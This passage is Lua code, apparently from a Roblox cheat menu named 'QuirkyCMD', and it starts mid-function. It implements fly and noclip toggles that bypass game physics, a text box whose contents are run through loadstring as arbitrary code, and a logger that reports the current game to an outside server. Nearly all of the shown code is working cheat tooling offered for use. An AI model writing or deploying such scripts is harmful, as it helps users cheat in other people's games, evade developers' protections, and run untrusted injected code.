lastGoalPos.Y.Offset, dt * dragSpeed)) return end local delta = (lastMousePos - uis:GetMouseLocation()) local xGoal = (startPos.X.Offset - delta.X) local yGoal = (startPos.Y.Offset - delta.Y) lastGoalPos = UDim2.new(startPos.X.Scale, xGoal, startPos.Y.Scale, yGoal) cmdsFrame.Position = UDim2.new(startPos.X.Scale, lerp(cmdsFrame.Position.X.Offset, xGoal, dt * dragSpeed), startPos.Y.Scale, lerp(cmdsFrame.Position.Y.Offset, yGoal, dt * dragSpeed)) end cmdsFrame.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPos = cmdsFrame.Position lastMousePos = uis:GetMouseLocation() input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false end end) end end) cmdsFrame.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then dragInput = input end end) table.insert(genv.connections,rs.Heartbeat:Connect(update)) --[[send to game logger]]-- if not inDatabase then local function promptCallback(answer) if answer == "No" then return end local sg = localPlayer:FindFirstChildOfClass("StarterGear") if sg then delete(sg) task.wait(checkTime + mobileOffset) end if (sg and sg.Parent == localPlayer) or (isTesting == false and game:GetService("GuiService"):GetErrorCode() ~= Enum.ConnectionError.OK) then return notify("Logger error", "Game could not be logged.", 10) end sendGame() debugPrint("game sent to server") end local bindable = Instance.new("BindableFunction") bindable.OnInvoke = promptCallback sgui:SetCore("SendNotification", { Title = "QuirkyCMD"; Text = "would you like to log this game? (PLEASE TEST COMMANDS BEFORE CLICKING YES)", Duration = 300, Button1 = "Yes", Button2 = "No", Icon = "rbxassetid://73191850208831", Callback = bindable }) end debugPrint("QuirkyCMD loaded successfully!") end) end; task.spawn(C_38); -- StarterGui.ScreenGui.Frame1.TextButton.LocalScript local function C_3a() local script = G2L["3a"]; script.Parent.MouseButton1Click:Connect(function() script.Parent.Parent.Parent.Frame1.Visible = false script.Parent.Parent.Parent.Frame3.Visible = true script.Parent.Parent.Parent.Frame3.Position = script.Parent.Parent.Parent.Frame1.Position end) end; task.spawn(C_3a); -- StarterGui.ScreenGui.Frame1.TextButton.LocalScript local function C_3c() local script = G2L["3c"]; script.Parent.MouseButton1Click:Connect(function() script.Parent.Parent.Parent.Frame2.Visible = true end) end; task.spawn(C_3c); -- StarterGui.ScreenGui.Frame1.DraggableFrame local function C_3d() local script = G2L["3d"]; local frame = script.Parent local UserInputService = game:GetService("UserInputService") local dragging = false local dragInput local dragStart local startPos local function update(input) local delta = input.Position - dragStart frame.Position = UDim2.new( startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y ) end frame.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPos = frame.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false end end) end end) frame.InputChanged:Connect(function(input) if dragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then dragInput = input end end) UserInputService.InputChanged:Connect(function(input) if dragging and input == dragInput then update(input) end end) end; task.spawn(C_3d); -- StarterGui.ScreenGui.Frame1.TextButton.FlyToggleLocal local function C_3f() local script = G2L["3f"]; local button = script.Parent local flying = false local player = game.Players.LocalPlayer local UIS = game:GetService("UserInputService") local flySpeed = 50 local gyro = nil local velocity = nil local function startFly() local character = player.Character or player.CharacterAdded:Wait() local humanoid = character:FindFirstChildOfClass("Humanoid") local root = character:FindFirstChild("HumanoidRootPart") if humanoid and root then humanoid.PlatformStand = true gyro = Instance.new("BodyGyro") gyro.Name = "FlyGyro" gyro.MaxTorque = Vector3.new(400000,400000,400000) gyro.P = 10000 gyro.CFrame = root.CFrame gyro.Parent = root velocity = Instance.new("BodyVelocity") velocity.Name = "FlyVelocity" velocity.MaxForce = Vector3.new(400000,400000,400000) velocity.Velocity = Vector3.new(0,0,0) velocity.Parent = root end end local function stopFly() local character = player.Character or player.CharacterAdded:Wait() local humanoid = character:FindFirstChildOfClass("Humanoid") local root = character:FindFirstChild("HumanoidRootPart") if humanoid and root then humanoid.PlatformStand = false if gyro then gyro:Destroy() gyro = nil end if velocity then velocity:Destroy() velocity = nil end end end local direction = Vector3.new(0,0,0) local function updateVelocity() if velocity and gyro then velocity.Velocity = (gyro.CFrame.LookVector * direction.Z + gyro.CFrame.RightVector * direction.X + Vector3.new(0,1,0) * direction.Y) * flySpeed gyro.CFrame = workspace.CurrentCamera.CFrame end end UIS.InputBegan:Connect(function(input, processed) if not flying or processed then return end if input.KeyCode == Enum.KeyCode.W then direction = Vector3.new(direction.X, direction.Y, 1) elseif input.KeyCode == Enum.KeyCode.S then direction = Vector3.new(direction.X, direction.Y, -1) elseif input.KeyCode == Enum.KeyCode.A then direction = Vector3.new(-1, direction.Y, direction.Z) elseif input.KeyCode == Enum.KeyCode.D then direction = Vector3.new(1, direction.Y, direction.Z) elseif input.KeyCode == Enum.KeyCode.Space then direction = Vector3.new(direction.X, 1, direction.Z) elseif input.KeyCode == Enum.KeyCode.LeftControl then direction = Vector3.new(direction.X, -1, direction.Z) end updateVelocity() end) UIS.InputEnded:Connect(function(input, processed) if not flying or processed then return end if input.KeyCode == Enum.KeyCode.W or input.KeyCode == Enum.KeyCode.S then direction = Vector3.new(direction.X, direction.Y, 0) elseif input.KeyCode == Enum.KeyCode.A or input.KeyCode == Enum.KeyCode.D then direction = Vector3.new(0, direction.Y, direction.Z) elseif input.KeyCode == Enum.KeyCode.Space or input.KeyCode == Enum.KeyCode.LeftControl then direction = Vector3.new(direction.X, 0, direction.Z) end updateVelocity() end) button.MouseButton1Click:Connect(function() flying = not flying if flying then startFly() button.Text = "Unfly" else stopFly() button.Text = "Fly" end end) button.Text = "Fly" game:GetService("RunService").RenderStepped:Connect(function() if flying then updateVelocity() end end) end; task.spawn(C_3f); -- StarterGui.ScreenGui.Frame1.TextButton.NoclipToggleLocal local function C_41() local script = G2L["41"]; local button = script.Parent local player = game.Players.LocalPlayer local noclip = false local function setNoclip(state) local character = player.Character if character then for i, part in character:GetChildren() do if part:IsA("BasePart") then part.CanCollide = not state end end end end local function onCharacterAdded(character) if noclip then setNoclip(true) end end button.MouseButton1Click:Connect(function() noclip = not noclip setNoclip(noclip) if noclip then button.Text = "Unnoclip" else button.Text = "Noclip" end end) player.CharacterAdded:Connect(onCharacterAdded) button.Text = "Noclip" end; task.spawn(C_41); -- StarterGui.ScreenGui.Frame4.DraggableFrame local function C_43() local script = G2L["43"]; local frame = script.Parent local UserInputService = game:GetService("UserInputService") local dragging = false local dragInput local dragStart local startPos local function update(input) local delta = input.Position - dragStart frame.Position = UDim2.new( startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y ) end frame.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPos = frame.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false end end) end end) frame.InputChanged:Connect(function(input) if dragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then dragInput = input end end) UserInputService.InputChanged:Connect(function(input) if dragging and input == dragInput then update(input) end end) end; task.spawn(C_43); -- StarterGui.ScreenGui.Frame4.TextButton.LocalScript local function C_46() local script = G2L["46"]; local ogtext = script.Parent.Text script.Parent.MouseButton1Click:Connect(function() script.Parent.Parent.Parent.Frame4:Destroy() end) end; task.spawn(C_46); -- StarterGui.ScreenGui.Frame4.TextButton.LocalScript local function C_48() local script = G2L["48"]; script.Parent.MouseButton1Click:Connect(function() script.Parent.Parent.Parent.Frame3.Visible = true script.Parent.Parent.Parent.Frame4.Visible = false script.Parent.Parent.Parent.Frame3.Position = script.Parent.Parent.Parent.Frame4.Position end) end; task.spawn(C_48); -- StarterGui.ScreenGui.Frame4.TextButton.LocalScript local function C_4b() local script = G2L["4b"]; local button = script.Parent local textbox = script.Parent.Parent.TextBox button.MouseButton1Click:Connect(function() loadstring(textbox.Text)() -- loadstring is broken in studio, dont worry end) end; task.spawn(C_4b); -- StarterGui.ScreenGui.Frame4.TextButton.LocalScript local function C_4d() local script = G2L["4d"]; local button = script.Parent local textbox = script.Parent.Parent.TextBox button.MouseButton1Click:Connect(function() textbox.Text = "" --Itsstring that contains nothing xd, so it dose set it to empty which we clear it end) end; task.spawn(C_4d); return G2L["1"], require;